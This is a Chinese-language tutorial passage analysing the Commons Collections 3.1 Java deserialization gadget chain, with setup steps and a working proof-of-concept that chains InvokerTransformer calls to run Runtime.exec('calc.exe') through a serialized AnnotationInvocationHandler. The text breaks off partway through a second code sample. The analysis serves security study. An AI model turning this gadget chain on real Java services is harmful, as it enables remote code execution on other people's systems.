CommonsCollections3.1 反序列化利用链分析
基础知识参考: Java 反序列化分析从入门到放弃(一)
一、环境配置
本次分析的是CommonsCollections3.1
的反序列化利用链,Java环境为jdk1.8.0_261
,使用的IDE是eclipse
。
需要下载一些依赖环境:CommonsCollections3.1
的源码和zip
文件。
CommonsCollections3.1
下载地址:
https://commons.apache.org/proper/commons-collections/download_collections.cgi
1、 配置运行环境
新建Java项目,注意选择运行环境版本,使用jdk1.7.0_80
。
之后新建类Serialize_Test_Poc
:
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.io.*;
public class Serialize_Test_Poc {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {
"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "test");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
/*
* //触发漏洞 Map.Entry onlyElement = (Map.Entry)
* outerMap.entrySet().iterator().next();
* //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,
* 这是map的键值对数据格式 onlyElement.setValue("foobar");
*/
//反射机制调用 AnnotationInvocationHandler 类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//返回指定参数类型的所有构造器,包括public的和非public的,当然也包括private的
Constructor ctor = cl.getDeclaredConstructor(Class.class,Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取实例
Object instance = ctor.newInstance(Target.class, outerMap);
//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);
//服务端读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
fin.readObject();
}
}
2、 导入依赖包
选中项目右键配置Build path:
选择Libraries => Add External JARS =>选择下载的文件=> Apply and Close。
3、 关联源文件
在代码调试中要分析源文件,所以要关联源文件。使用Java Decompiler反编译jre1.7.0_80\lib\rt.jar
,Java Decompiler下载地址:
http://java-decompiler.github.io/
把导出的zip文件丢在jre的目录下即可。
选中项目,右键 => Run As
=> Run Configurations
选择Alternate JRE
=>点击 => Installed JREs
。
如果没有配置就点击Add添加自己的jdk路径,添加之后选中并点击Edit
。
选择rt.jar
=> Source Attachment
=> External location
=> External File
。
二、代码分析
1、InvokerTransformer
CC3.1jar包中,InvokerTransformer的transform方法会通过反射机制去调用任意函数。
类所在路径:
commons-collections-3.1.jar!/org/apache/commons/collections/functors/InvokerTransformer.class
查看源码:
其实类InvokerTransformer
是实现了Transformer
接口,但由于接口回调的特性,执行的方法还是InvokerTransformer
的transform
方法。
Transformer
接口如下图所示:
InvokerTransformer
实现Transformer
接口如下图所示:
可见通过多次调用InvokerTransformer
的transform
方法即可实现调用一条命令执行链。
以InvokerTransformerDemo 类为例:
import org.apache.commons.collections.functors.InvokerTransformer;
public class InvokerTransformerDemo {
public static void main(String[] args) throws Exception {
//利用Java反射获取类对象
Class runtimeClass = Class.forName("java.lang.Runtime");
//利用InvokerTransformer的transform会通过反射机制去调用任意函数
//返回 java.lang.Runtime的class对象->m_getMethod,可以类比下一行分析
//java.lang.Runtime.getMethod("getRuntime") -> 返回 java.lang.Runtime.getRuntime 方法
//new Class[] 新建一个类数组,值为String.class,Class[].class
Object m_getMethod = new InvokerTransformer(
"getMethod",
//getMethod()的参数类型是{"getRuntime",null},所以new Class[]的类型为String.class
new Class[] {
String.class,Class[].class},
new Object[] {
"getRuntime",null}
).transform(runtimeClass);
//java.lang.Runtime.getRuntime.invoke() -> 返回 java.lang.Runtime.getRuntime() 对象
Object runtime = new InvokerTransformer(
"invoke",
//invoke(对象,参数),所以new Class[] 的类型为Object.class
new Class[] {
Object.class,Object[]